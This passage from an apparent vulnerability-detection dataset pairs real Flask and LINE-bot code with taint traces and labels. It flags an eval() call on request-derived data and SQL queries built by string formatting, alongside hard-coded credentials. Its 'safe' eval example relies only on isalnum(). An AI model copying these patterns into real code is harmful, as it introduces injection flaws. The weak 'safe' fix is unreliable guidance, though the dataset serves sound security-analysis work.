\"mailID\": mailId,\n \"role\": role,\n \"stdId\":\"none\",\n \"designation\": designation} )\n if(response==\"Parent\"):\n return jsonify({\"message\": \"Congratualtion for Login\",\n \"uName\": uName,\n \"stdId\": stdId,\n })\n\n# @app.route(\"/login\", methods=['POST'])\n# def loginTest():\n# details = request.get_json()[\"userDetails\"]\n# userName, uName, mailID, designation = userNameCheck(details[\"userName\"])\n# passwordN = passwordCheck(details[\"password\"])\n# role = fetchrole(mailID[0])\n# if userName == \"Success\":\n# if passwordN == \"Success\":\n# return jsonify({\"message\": \"Congratualtion for Login\",\n# \"uName\": uName[-1],\n# \"mailID\": mailID,\n# \"role\": role,\n# \"designation\": designation})\n# else:\n# return jsonify({\"message\": \"UserName or Password is Incorrect\",\n# \"uName\": \"Not Defined\",\n# \"mailID\": \"Not Defined\",\n# \"role\": \"Not Defined\"})\n# else:\n# return jsonify({\"message\": \"UserName or Password is Incorrect\",\n# \"uName\": \"Not Defined\",\n# \"mailID\": \"Not Defined\",\n# \"role\": \"Not Defined\"})\n\n\n@app.route(\"/createuser\", methods=['POST'])\ndef insert_document():\n req_data = request.get_json()[\"UserDetails\"]\n config.userDetailsTemplate[\"primaryEmail\"] = req_data[\"email\"]\n config.userDetailsTemplate[\"name\"][\"givenName\"] = req_data[\"firstName\"]\n config.userDetailsTemplate[\"name\"][\"familyName\"] = req_data[\"lastName\"]\n config.userDetailsTemplate[\"password\"] = sha(req_data[\"password\"])\n config.userDetailsTemplate[\"addresses\"][0][\"streetAddress\"] = req_data[\"address\"]\n config.userDetailsTemplate[\"phones\"][0][\"value\"] = req_data[\"phone\"]\n config.userDetailsTemplate[\"organizations\"][0][\"title\"] = req_data[\"title\"]\n config.userDetailsTemplate[\"organizations\"][0][\"name\"] = req_data[\"college\"]\n\n # url = \"https://admin.googleapis.com/admin/directory/v1/users\"\n\n # payload = json.dumps(config.userDetailsTemplate)\n # headers = {\n # 'Authorization': 'Bearer ',\n # 'Content-Type': 'application/json'\n # }\n\n # response = requests.request(\"POST\", url, headers=headers, data=payload)\n\n config.collection.insert_one(config.userDetailsTemplate).inserted_id\n return jsonify({\"message\": \"Congratualtions user inserted Sucessfully...\"})\n\n\n@app.route(\"/creattask\", methods=['POST'])\ndef task():\n req_data = request.get_json()\n config.collection1.insert_one(req_data).inserted_id\n message = createCalendarEvent(req_data)\n return jsonify({\"message\": \"Task created Sucessfully...\"})\n\n@app.route(\"/createMeeting\", methods=['POST'])\ndef meeting():\n data= []\n req_data = request.get_json()\n print(req_data)\n req_data = req_data[\"data\"]\n for i in req_data[\"attendees\"]:\n data.append(getEmail(i))\n data1 = createMeeting(req_data,data)\n config.collectionMeetings.insert_one(data1).inserted_id\n return jsonify({\"message\": \"Meeting created Sucessfully...\"})\n\n\n@app.route(\"/taskassign\", methods=['POST'])\ndef task_assign():\n assignee = request.get_json()\n activeTask, urgentTask, futureTask, completedTask, backlogTask, activeTaskID, urgentTaskID, futureTaskID, completedTaskID, backlogTaskID = task_assigned(assignee[\"assigned\"])\n data = {}\n populator = {}\n populator[\"activeTaskID\"]=[{'Nothing To Display':\"message\"}] if len(activeTaskID)==0 else activeTaskID\n populator[\"urgentTaskID\"]=[{'Nothing To Display':\"message\"}] if len(urgentTaskID)==0 else urgentTaskID\n populator[\"futureTaskID\"]=[{'Nothing To Display':\"message\"}] if len(futureTaskID)==0 else futureTaskID\n populator[\"completedTaskID\"]=[{'Nothing To Display':\"message\"}] if len(completedTaskID)==0 else completedTaskID\n populator[\"backlogTaskID\"]=[{'Nothing To Display':\"message\"}] if len(backlogTaskID)==0 else backlogTaskID\n return jsonify({\"message\": \"tasks are assigned\", \"data\": data, \"ass\":assignee[\"assigned\"], \"populator\":populator})\n\n@app.route(\"/taskToBeApproved\", methods=['POST'])\ndef task_to_be_approved():\n assignee = request.get_json()\n toBeApprovedTasks, toBeApprovedTaskID= task_approved(assignee[\"assigned\"])\n data = {}\n populator = {}\n data[\"toBeApprovedTask\"]=[{'Nothing To Display':\"message\"}] if len(toBeApprovedTasks)==0 else toBeApprovedTasks\n populator[\"toBeApprovedTaskID\"]=[{'Nothing To Display':\"message\"}] if len(toBeApprovedTaskID)==0 else toBeApprovedTaskID\n return jsonify({\"message\": \"tasks are assigned\", \"data\": data, \"ass\":assignee[\"assigned\"], \"populator\":populator})\n\n@app.route(\"/taskapprove\", methods=['POST'])\ndef taskapproved():\n approver = request.get_json()\n approve, data1 = task_approver(approver[\"assigned\"])\n if approve == \"Success\":\n return jsonify({\"message\": \"tasks are assigned\", \"data\": data1})\n else:\n return jsonify({\"message\": \"tasks are not assigned\"})\n\n\n@app.route(\"/staffDetails\", methods=['POST'])\ndef getStaffDetails():\n staffType = request.get_json()[\"staffType\"]\n staffList = getStaffType(staffType)\n return jsonify({\"staffList\": staffList})\n\n\n@app.route(\"/department\", methods=['POST'])\ndef getDepartment():\n department = request.get_json()[\"department\"]\n responsibilities = getResponsibilities(department)\n return jsonify({\"responsibilities\": responsibilities})\n\n@app.route(\"/taskstatus\", methods=['POST'])\ndef updateTasks():\n taskID = request.get_json(\"taskID\")\n status, data = getstatus(ObjectId(taskID[\"taskID\"]))\n return jsonify({\"status\":status, \"data\":data})\n\n@app.route(\"/getjson\", methods=['POST'])\ndef gets():\n objid = request.get_json(\"objid\")\n reqJson = getJson(ObjectId(objid[\"objid\"]))\n return jsonify({\"message\":\"json retrived\",\"json\":eval(str(reqJson))})\n\n@app.route(\"/edit\", methods=[\"POST\"])\ndef ej():\n response = request.get_json()\n key = response[\"key\"]\n oid = response[\"objid\"]\n msg = response[\"message\"]\n print(oid)\n editj = editjson(oid, msg, key)\n jsoni = getJson(ObjectId(oid))\n return(jsonify({\"message\":\"task updated sucessfully\",\"json\":jsoni}))\n\n@app.route(\"/delete_collec\", methods=['POST'])\ndef delete_collection():\n req_data = request.get_json()\n temp = deletecollection(req_data)\n return jsonify({\"message\":\"Collection Deleted\"})\n\n#task_Assign using Object id\n@app.route(\"/taskassign1\", methods=['POST'])\ndef task_assign1():\n objid = request.get_json(\"obji\")\n jsoni = getJson(ObjectId(objid[\"obji\"]))\n print(jsoni)\n return jsonify({\"message\":\"json retrived\",\"json\":jsoni})\n\n@app.route(\"/updateComments\", methods=['POST'])\ndef checkmailfortaskupdate():\n x = request.get_json()\n js = x[\"data\"]\n objid = x[\"objid\"]\n key1 = x[\"key\"]\n print(objid)\n temp = {}\n ct = str(datetime.datetime.now().date())\n js[\"timeStamp\"]=ct\n for a in config.collection1.find():\n if ObjectId(objid) == a[\"_id\"]:\n for key, value in a.items():\n if key not in [\"_id\"]:\n temp[key]=value\n old = copy.deepcopy(temp);\n new = copy.deepcopy(temp)\n new[key1].append(js)\n edit = config.collection1.replace_one(old,new)\n return (\"Success\")\n\n\n@app.route(\"/classInfo\", methods=['GET'])\ndef class_info():\n classes = getClassInfo()\n subjects = getSubjectInfo()\n return jsonify({\"xx\":list(classes), \"yy\":list(subjects)})\n\n@app.route(\"/sectionInfo\", methods=['POST'])\ndef section_info():\n x = request.get_json()\n cls = x[\"class\"]\n section = getSectionInfo(cls)\n return jsonify({\"xx\":section})\n\n@app.route(\"/getTeachersList\", methods=['GET'])\ndef get_teachers_list():\n teachers, nonTeachers, test , test1= getTeachersList()\n return jsonify({\"teachers\":list(teachers), \"nonTeachers\":list(nonTeachers), \"test\":test, \"test1\": test1})\n\n@app.route(\"/teacherRS\", methods=['POST'])\ndef teacherResponsibilitySubmission():\n req_data = request.get_json()\n config.collectionTeacherAssignments.insert_one(req_data).inserted_id\n return jsonify({\"message\": \"Task created Sucessfully...\"})\n\n@app.route(\"/getComments\", methods=['POST'])\ndef getComments():\n req_data = request.get_json()\n req_data = req_data[\"id\"]\n comments = getAllComments(ObjectId(req_data))\n return jsonify({\"comments\": comments})\n\n@app.route(\"/getProfileInfo\", methods=['POST'])\ndef getProfileInfo():\n req_data = request.get_json()\n req_data = req_data[\"mail\"]\n ct, subjects, repMgr, reprMgrName = getInfo(req_data)\n return jsonify({\"classTeacher\": ct, \"subjects\":subjects, \"reportingManagerEmail\":repMgr, \"reportingManagerName\":reprMgrName})\n\n@app.route(\"/student_list\", methods=[\"POST\"])\ndef s_list():\n data = request.get_json()\n slist = student_list(data[\"data\"])\n return jsonify({\"message\":\"milgaya\", \"data\":slist})\n\n@app.route(\"/qrcode\", methods=[\"POST\"])\ndef qr():\n data = request.get_json()\n getqr = qrsearch(data[\"data\"])\n return jsonify({\"data\":getqr})\n\n@app.route(\"/attendace\",methods=[\"POST\"])\ndef attendace():\n req_data = request.get_json()\n c = req_data['class']\n if c == \"1a\" or c== \"1b\" or c== \"1c\" or c== \"1d\":\n config.db4.class1.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Class1 collection.\"})\n elif c== \"2a\" or c== \"2b\" or c==\"2c\" or c==\"2d\":\n config.db4.class2.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Class2 collection.\"})\n elif c== \"3a\" or c==\"3b\" or c==\"3c\" or c==\"3d\":\n config.db4.class3.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Class3 collection.\"})\n elif c== \"4a\" or c==\"4b\" or c==\"4c\" or c==\"4d\":\n config.db4.class4.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Class4 collection.\"})\n elif c== \"5a\" or c==\"5b\" or c==\"5c\" or c==\"5d\":\n config.db4.class5.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Class5 collection.\"})\n elif c== \"6a\" or c==\"6b\" or c==\"6c\" or c==\"6d\":\n config.db4.class6.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Class6 collection.\"})\n elif c== \"7a\" or c==\"7b\" or c==\"7c\" or c==\"7d\":\n config.db4.class7.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Class7 collection.\"})\n elif c== \"8a\" or c==\"8b\" or c==\"8c\" or c==\"8d\":\n config.db4.class8.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Class8 collection.\"})\n elif c== \"9a\" or c==\"9b\" or c==\"9c\" or c==\"9d\":\n config.db4.class9.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Class9 collection.\"})\n elif c== \"10a\" or c==\"10b\" or c==\"10c\" or c==\"10d\":\n config.db4.class10.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Class10 collection.\"})\n elif c== \"nursery\":\n config.db4.nursery.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into nursey collection.\"})\n elif c== \"L.K.G\":\n config.db4.lkg.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into L.K.G collection.\"})\n elif c== \"U.K.G\":\n config.db4.ukg.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into U.K.G collection.\"})\n else:\n config.db4.garbage.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Garbage collection.\"})\n\n@app.route(\"/filter\", methods=[\"POST\"])\ndef a_filter():\n req_data = request.get_json()\n cc=req_data[\"data\"][\"cc\"]\n date=req_data[\"data\"][\"date\"]\n st=req_data[\"data\"][\"st\"]\n et=req_data[\"data\"][\"et\"]\n sub=req_data[\"data\"][\"sub\"]\n data1 = attendacne_filter(cc, date, st, et, sub)\n return jsonify({\"message\":\"Data Retrived Sucessfully\",\"data\" : repr(data1)})\n\n@app.route(\"/teacherAttendance\",methods=[\"POST\"])\ndef teacherLogin():\n req_data = request.get_json()\n print(req_data)\n insertStatus=[]\n mail=req_data[\"data\"][\"mail\"]\n date=req_data[\"data\"][\"date\"]\n sub=req_data[\"data\"][\"sub\"]\n cls=req_data[\"data\"][\"cls\"]\n data1=getLoginJson(mail,date,sub,cls)\n jsoni=jsonify({\"message\":\"Data Insereted Sucessfully\",\"data\" : \"Success\"})\n print (data1)\n if data1==None:\n config.teachers.insert_one(req_data).inserted_id\n final=jsoni\n else:\n js = req_data[\"data\"][\"logoutTime\"]\n temp = {}\n for key, value in data1.items():\n if key not in [\"_id\"]:\n temp[key]=value\n old = copy.deepcopy(temp)\n new = copy.deepcopy(temp)\n new[\"data\"][\"logoutTime\"]=js\n config.teachers.replace_one(old,new)\n final=jsonify({\"message\":\"Logout Sucessfully\",\"data\" : \"Success\"})\n return final\n\n@app.route(\"/teachersJson\", methods=[\"POST\"])\ndef teachersJson():\n req_data = request.get_json()\n mail=req_data[\"data\"][\"mail\"]\n date=req_data[\"data\"][\"date\"]\n sub=req_data[\"data\"][\"sub\"]\n cls=req_data[\"data\"][\"cls\"]\n data1 = getLoginJson(mail, date,sub,cls)\n print(data1)\n jsoni=jsonify({\"message\":\"Data Retrived Sucessfully\",\"data\" : \"hello\"})\n if data1==None:\n final=jsoni\n else:\n final=jsonify({\"message\":\"Data Retrived Sucessfully\",\"data\" : data1})\n return final\n\n@app.route(\"/studyCentral\",methods=[\"POST\"])\ndef SC():\n req_data = request.get_json()\n config.collectionSC.insert_one(req_data).inserted_id\n return jsonify({\"message\":\"data inserted into Class1 collection.\"}) \n\n@app.route(\"/broadcast\", methods=[\"POST\"])\ndef broadcast_notice():\n data = request.get_json()\n print(data)\n config.broadcast.insert_one(data).inserted_id\n return jsonify({\"message\":\"data inserted into broadcast collection.\",\"data\":repr(data)})\n\n@app.route(\"/getBroadcast\", methods=[\"GET\"])\ndef get():\n l1 = []\n for i in config.broadcast.find():\n data = i\n data[\"_id\"] = str(data[\"_id\"])\n l1.append(data)\n return jsonify({\"message\":\"broadcast Data Retrived Successfully\",\"data\":l1})\n\n@app.route(\"/employeeProfile\",methods=[\"POST\"])\ndef ep():\n data = request.get_json()\n print(data)\n mail,designation,staffType = taskProfile(data[\"obj\"])\n ct, subjects, repMgr, reprMgrName= getInfo(mail)\n return jsonify({\"message\":\"Employee Information Retrived\",\"MailID\":mail,\"Reporting Manager Name\":reprMgrName,\"Designation\":designation,\"Staff Type\":staffType})\n\n@app.route(\"/filter2\", methods=[\"POST\"])\ndef a_filter2():\n req_data = request.get_json()\n cc=req_data[\"data\"][\"cc\"]\n date=req_data[\"data\"][\"date\"]\n sub=req_data[\"data\"][\"sub\"]\n data1 = attendacne_filter(cc, sub, date)\n print(data1)\n return jsonify({\"message\":\"Data Retrived Sucessfully\",\"data\" : data1})\n\n# @app.route(\"/marksfilter\", methods=[\"POST\"])\n# def m_filter():\n# req_data = request.get_json()\n# cc=req_data[\"data\"][\"cc\"]\n# date=req_data[\"data\"][\"date\"]\n# sub=req_data[\"data\"][\"sub\"]\n# data1 = marks_filter(cc, sub, date)\n# print(data1)\n# return jsonify({\"message\":\"Data Retrived Sucessfully\",\"data\" : data1})\n\n@app.route(\"/marksfilter\", methods=[\"POST\"])\ndef m_filter():\n req_data = request.get_json()\n classes=req_data[\"class\"]\n exam_type=req_data[\"exam_type\"]\n data1 = marks_filter(classes,exam_type)\n return jsonify({\"message\":\"Data Retrived\",\"data\" : data1})\n\n@app.route(\"/studentwork\", methods=[\"GET\",\"POST\"])\ndef studenttask():\n task_details = request.get_json()\n class_name = task_details[\"class_name\"]\n subject_name = task_details[\"subject_name\"]\n st = student_task(class_name,subject_name)\n print(st)\n return jsonify({\"message\":st})\n@app.route(\"/insertmarks\" ,methods=[\"POST\"])\ndef IM():\n marks=request.get_json()\n config.collectionMark.insert_one(marks).inserted_id\n return jsonify({\"message\": \"Success\"})\napp.run(debug=True, port=5001, host=\"0.0.0.0\")", "dangerousExampleEn": "1. from django.shortcuts import render\n2. \n3. def route(request):\n4. \tmessage = request.POST.get('message', '')\n5. \n6. \tret = eval(message)\n7. \treturn render(request, '/success.html', {'data':ret})\nLine 6: eval() executes dynamic code, which can lead to code injection attacks.", "safeExampleEn": "1. from django.shortcuts import render\n2. \n3. def route(request):\n4. \tmessage = request.POST.get('message', '')\n5. \n6. \tif message.isalnum():\n7. \t\tret = eval(message)\n8. \t\treturn render(request, '/success.html', {'data':ret})\nLine 6: isalnum() validates that only alphanumeric characters are used, which is safe.", "contexts": [{"lineNo": 161, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 161, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_json"}}, {"lineNo": 162, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "objidgets.objid[\"objid\"]"}}, {"lineNo": 162, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "ObjectId"}}, {"lineNo": 162, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "getJson"}}, {"lineNo": 163, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "str"}}, {"lineNo": 163, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "3b25b43cbfa03a055cf6c861a8677898e5002d2aebacf6489daf3c952a01a167", "license": {"spdx": ["Apache-2.0"], "repo": "ficgra/PChome-alertor", "path": "line_notify_core.py", "repo_head_hexsha": "5f4e798e3130c170eb75e03215128590ed02dcf9", "stack_hexsha": "d4fb4e3677b230700c8377c0c0d538eea2ac4e41", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When input data in a web application integrated with a database are not verified, attackers can inject an SQL statement via the input form or URL input field to access or modify data in the database, which lead to create vulnerability. In a vulnerable web application, dynamic queries are created with user input.\nIn this case, the unintended queries can be executed causing data leakage.\nIn Python, the ORM (Object Relational Mapping) such as DB-API, Django, SQLAlchemy, and Storm allows users to access to database. Although Python supports a variety of ORM (Object Relational Mapping) to ensure database security, it may still need to execute raw SQL queries directly due to difficulties in creating complex query statements or performance degradation.\nThis allows attackers to use unverified external inputs for SQL Injection attacks.\nCreate a static query in advance and use the second parameter to bind external input when executing the query.", "issueLineNumber": 113, "entireCode": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport requests\nimport json\nimport re\nfrom flask import Flask, request, abort\n\nimport mysql.connector as mariadb\nfrom mysql.connector import Error\n\nfrom linebot import (\n LineBotApi, WebhookHandler\n)\nfrom linebot.exceptions import (\n InvalidSignatureError\n)\nfrom linebot.models import (\n MessageEvent, TextMessage, TextSendMessage, FollowEvent,\n)\n\napp = Flask(__name__)\n\nline_bot_api = LineBotApi('')\nhandler = WebhookHandler('')\n\n@app.route(\"/\", methods=['GET'])\ndef index():\n return 'OK!'\n\n#line 官方帳號 /callback測試Event\n@app.route(\"/callback\", methods=['POST'])\ndef callback():\n # get X-Line-Signature header value\n signature = request.headers['X-Line-Signature']\n # get request body as text\n body = request.get_data(as_text=True)\n app.logger.info(\"Request body: \" + body)\n\n # handle webhook body\n try:\n handler.handle(body, signature)\n except InvalidSignatureError:\n print(\"Invalid signature. Please check your channel access token/channel secret.\")\n abort(400)\n\n return 'OK'\n\n#line官方帳號收到訊息時的Event\n@handler.add(MessageEvent, message=TextMessage)\ndef handle_message(event):\n get_message = event.message.text\n print(get_message)\n user_id = event.source.user_id\n register_url = 'https://notify-bot.line.me/oauth/authorize?response_type=code&scope=notify&response_mode=form_post&client_id=\"id\"&redirect_uri=https://line.husan.cc/register&state=' + user_id\n mage = re.split(r'[\\s]\\s*',get_message)\n try:\n if mage[0] == \"註冊\":\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=register_url))\n elif 'add' == mage[0]:\n try:\n notice = add_item(mage[1],user_id,mage[2])\n except:\n notice = add_item(mage[1],user_id,None)\n line_bot_api.reply_message(event.reply_token,TextSendMessage(text=notice))\n elif 'del' == mage[0]:\n notice = del_item(mage[1],user_id)\n line_bot_api.reply_message(event.reply_token,TextSendMessage(text=notice))\n elif 'list' == mage[0]:\n item_list ,price_list= search_sub(user_id)\n notice = '您訂閱的項目有:'\n for i in range(len(item_list)):\n notice+='\\n'\n notice=notice + item_list[i] +'\\t' +str(price_list[i])\n line_bot_api.reply_message(event.reply_token,TextSendMessage(text=notice))\n elif 'send' == mage[0]:\n acc_token = get_notify_id(user_id)\n status = sent_message(mage[1],acc_token)\n if status == 200:\n line_bot_api.reply_message(event.reply_token,TextSendMessage(text='send OK!'))\n else:\n line_bot_api.reply_message(event.reply_token,TextSendMessage(text='請輸入指令:\\nlist \\n└查詢通知項目。\\nadd 商品ID 價格 \\n└新增商品通知,低於設定價格時通知。\\nEX:add DYAJID-A900AVJ4G 500\\ndel 商品ID \\n└刪除商品通知。\\nEX:del DYAJID-A900AVJ4G'))\n except BaseException as e:\n line_bot_api.reply_message(event.reply_token,TextSendMessage(text='指令錯誤,請重新確認!'))\n print(e)\n # get user id when reply\n user_id = event.source.user_id\n print(\"user_id =\", user_id)\n \n profile = line_bot_api.get_profile(user_id)\n\n#notify註冊時會post至/register\n@app.route(\"/register\",methods=['POST']) #註冊事件\ndef register():\n if request.method == 'POST':\n code = request.form.get('code') #拿code去要access_token\n print(\"code = \", code)\n state = request.form.get('state') #state = user_id 使用者id\n print(\"user_id = \",state)\n profile = line_bot_api.get_profile(state)\n user_name = profile.display_name\n print(\"username = \",user_name) #帳號名稱\n \n access_token = get_token(code) #取得access_token 發訊息給使用者的token\n print(\"access_token = \",access_token)\n r_code = send_test_message(access_token)#發測試通知\n if r_code == 200:\n save_profile(user_name, code, state, access_token)#存入資料庫\n return '發送成功' \n else:\n return '發送失敗'\n \n#加好友時發送通知\n@handler.add(FollowEvent)\ndef handle_follow(event):\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=\"感謝訂閱!請輸入\\\"註冊\\\"啟動服務。\"))\n\n#拿使用者code向notify-bot post取得access_token\ndef get_token(code):\n headers = {\n \"Content-Type\":\"application/x-www-form-urlencoded\"\n }\n params = {\n \"grant_type\":\"authorization_code\",\n \"code\": code,\n \"redirect_uri\":\"https://line.husan.cc/register\", # host_ip\n \"client_id\":\"client_id\", #notify client_id\n \"client_secret\":\"client_secret\" #notify client_secret\n }\n r = requests.post('https://notify-bot.line.me/oauth/token',headers=headers,params=params)\n source = json.loads(r.text)\n access_token = source['access_token']\n return access_token\n\n#發送測試訊息至使用者notify\ndef send_test_message(access_token):\n headers = {\n \"Authorization\":\"Bearer \" + str(access_token),\n \"Content-Type\":\"application/x-www-form-urlencoded\",\n \"notificationDisabled\":\"True\"\n }\n params = {\n \"message\":\"\\n帳號連結成功\"\n }\n r = requests.post(\"https://notify-api.line.me/api/notify\",headers=headers,params=params)\n return r.status_code\n\n#使用者資料存入資料庫\ndef save_profile(username, code, user_id, access_token): \n try:\n connection = mariadb.connect(host='192.168.1.10', user='admin', port='3307', password='pw', database='line_notify')\n if connection.is_connected():\n db_Info = connection.get_server_info()\n print(\"資料庫版本:\", db_Info)\n cursor = connection.cursor()\n cursor.execute(\"INSERT INTO user_info (id, username, code, user_id, access_token) VALUES (null,'%s','%s','%s','%s')\"%(username, code, user_id, access_token))\n connection.commit() #存檔\n cursor.execute(\"SELECT * FROM user_info\")\n # 列出查詢的資料\n for i in cursor:\n print(i)\n\n except Error as e:\n print(\"資料庫連接失敗0:\", e)\n\n finally:\n if (connection.is_connected()):\n cursor.close()\n connection.close()\n #print(\"資料庫連線已關閉\")\n#新增訂閱項目\ndef add_item(item_id, user_id,w_price):\n try:\n connection = mariadb.connect(host='192.168.1.10', user='admin', port='3307', password='pw', database='line_notify')\n if connection.is_connected():\n cursor = connection.cursor()\n acc_token = get_notify_id(user_id)\n try:\n cursor.execute(\"INSERT INTO sub_list (item_id, w_price ,user_id, acc_token) VALUES ('%s','%d','%s','%s')\"%(item_id, int(w_price) ,user_id, acc_token))\n except:\n cursor.execute(\"INSERT INTO sub_list (item_id,user_id, acc_token) VALUES ('%s','%s','%s')\"%(item_id ,user_id, acc_token))\n connection.commit() #存檔 \n return 'Add Done!'\n \n except Error as e:\n print(\"資料庫連接失敗2:\", e)\n\n finally:\n if (connection.is_connected()):\n cursor.close()\n connection.close()\n#刪除訂閱項目\ndef del_item(item_id, user_id):\n try:\n connection = mariadb.connect(host='192.168.1.10', user='admin', port='3307', password='pw', database='line_notify')\n if connection.is_connected():\n cursor = connection.cursor()\n cursor.execute(\"DELETE FROM sub_list WHERE item_id = '%s' AND user_id = '%s'\"%(item_id,user_id))\n connection.commit() #存檔 \n return 'Delete Done!'\n except Error as e:\n print(\"資料庫連接失敗3:\", e)\n\n finally:\n if (connection.is_connected()):\n cursor.close()\n connection.close()\n#查詢訂閱項目 \ndef search_sub(user_id):\n try:\n connection = mariadb.connect(host='192.168.1.10', user='admin', port='3307', password='pw', database='line_notify')\n if connection.is_connected():\n cursor = connection.cursor()\n cursor.execute(\"SELECT item_id , w_price FROM sub_list WHERE user_id LIKE '%s'\"%(user_id))\n sub_item = cursor.fetchall()\n price_list = [item[1] for item in sub_item]\n item_list = [item[0] for item in sub_item]\n return item_list,price_list\n except Error as e:\n print(\"資料庫連接失敗1:\", e)\n\n finally:\n if (connection.is_connected()):\n cursor.close()\n connection.close()\n#取得notify_access_token\ndef get_notify_id(user_id):\n try:\n connection = mariadb.connect(host='192.168.1.10', user='admin', port='3307', password='pw', database='line_notify')\n if connection.is_connected():\n cursor = connection.cursor()\n cursor.execute(\"select database();\")\n record = cursor.fetchone()\n cursor.execute(\"SELECT access_token FROM user_info WHERE user_id LIKE '%s'\"%(user_id))\n acc_token = cursor.fetchall() \n return acc_token[0][0]\n except Error as e:\n print(\"資料庫連接失敗4:\", e)\n\n finally:\n if (connection.is_connected()):\n cursor.close()\n connection.close()\n#發送訊息\ndef sent_message(message,access_token):\n headers = {\n \"Authorization\":\"Bearer \" + access_token,\n \"Content-Type\":\"application/x-www-form-urlencoded\"\n }\n params = {\n \"message\":message\n }\n r = requests.post(\"https://notify-api.line.me/api/notify\",headers=headers,params=params)\n print(r.status_code)\n return r.status_code\n \n \nif __name__ == \"__main__\":\n app.run('0.0.0.0',port=3000)\n", "dangerousExampleEn": "1. import mysql.connector\n2. from django.shortcuts import render\n3. \n4. def update_board(request):\n5. \twith dbconn.cursor() as curs:\n6. \t\tname = request.POST.get('name', '')\n7. \t\tcontent_id = request.POST.get('content_id', '')\n8. \n9. \t\tsql_query = \"update board set name='\" + name + \"' where content_id='\" + content_id + \"'\"\n10. \n11. \t\tcurs.execute(sql_query)\n12. \t\tcurs.commit()\n13. \t\treturn render(request, '/success.html')\nLine 11: This is dangerous because it executes the query statement with externally input values directly without binding them.", "safeExampleEn": "1. import mysql.connector\n2. from django.shortcuts import render\n3. def update_board(request):\n4. \twith dbconn.cursor() as curs:\n5. \t\tname = request.POST.get('name', '')\n6. \t\tcontent_id = request.POST.get('content_id', '')\n7. \n8. \t\tsql_query = 'update board set name=%s where content_id=%s'\n9. \n10. \t\tcurs.execute(sql_query, (name, content_id))\n11. \t\tcurs.commit()\n12. \t\treturn render(request, '/success.html')\nLine 10: Bind the external input as the second parameter of execute() to execute the query statement, making it safe.", "contexts": [{"lineNo": 100, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "100"}}, {"lineNo": 109, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "get_token"}}, {"lineNo": 109, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 109, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "get_token"}}, {"lineNo": 112, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "112"}}, {"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "save_profile"}}, {"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "save_profile"}}, {"lineNo": 113, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "execute"}}]}} {"id": "c917346ab6541e38b373222ee95111954dabb0811ba652e0e73365e90d6cd9a2", "license": {"spdx": ["MIT"], "repo": "kangusrm/XML-parser", "path": "project/server/user/views.py", "repo_head_hexsha": "adb2a7049b5946fb6293f58e20c860fbb07a6806", "stack_hexsha": "ce0ffdd605799570a773639f27bdbc3a5cc51708", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When input data in a web application integrated with a database are not verified, attackers can inject an SQL statement via the input form or URL input field to access or modify data in the database, which lead to create vulnerability. In a vulnerable web application, dynamic queries are created with user input.\nIn this case, the unintended queries can be executed causing data leakage.\nIn Python, the ORM (Object Relational Mapping) such as DB-API, Django, SQLAlchemy, and Storm allows users to access to database. Although Python supports a variety of ORM (Object Relational Mapping) to ensure database security, it may still need to execute raw SQL queries directly due to difficulties in creating complex query statements or performance degradation.\nThis allows attackers to use unverified external inputs for SQL Injection attacks.\nCreate a static query in advance and use the second parameter to bind external input when executing the query.", "issueLineNumber": 161, "entireCode": "# project/server/user/views.py\n\n\n#################\n#### imports ####\n#################\n\nfrom flask import render_template, Blueprint, url_for, \\\n redirect, flash, request, session\nfrom flask_login import login_user, logout_user, login_required\n\nfrom project.server import bcrypt, db\nfrom project.server.models import User, Data, prevod\nfrom project.server.user.forms import LoginForm, RegisterForm, UploadForm, ConnectForm\n\nimport xml.etree.ElementTree as ET\nimport pymysql\nimport pymysql.cursors\nimport tempfile\nimport os\n\n################\n#### config ####\n################\n\nuser_blueprint = Blueprint('user', __name__, )\n\n\n################\n#### routes ####\n################\n\n@user_blueprint.route('/register', methods=['GET', 'POST'])\ndef register():\n form = RegisterForm(request.form)\n if form.validate_on_submit():\n user = User(\n email=form.email.data,\n password=form.password.data\n )\n db.session.add(user)\n db.session.commit()\n\n login_user(user)\n\n flash('Thank you for registering.', 'success')\n return 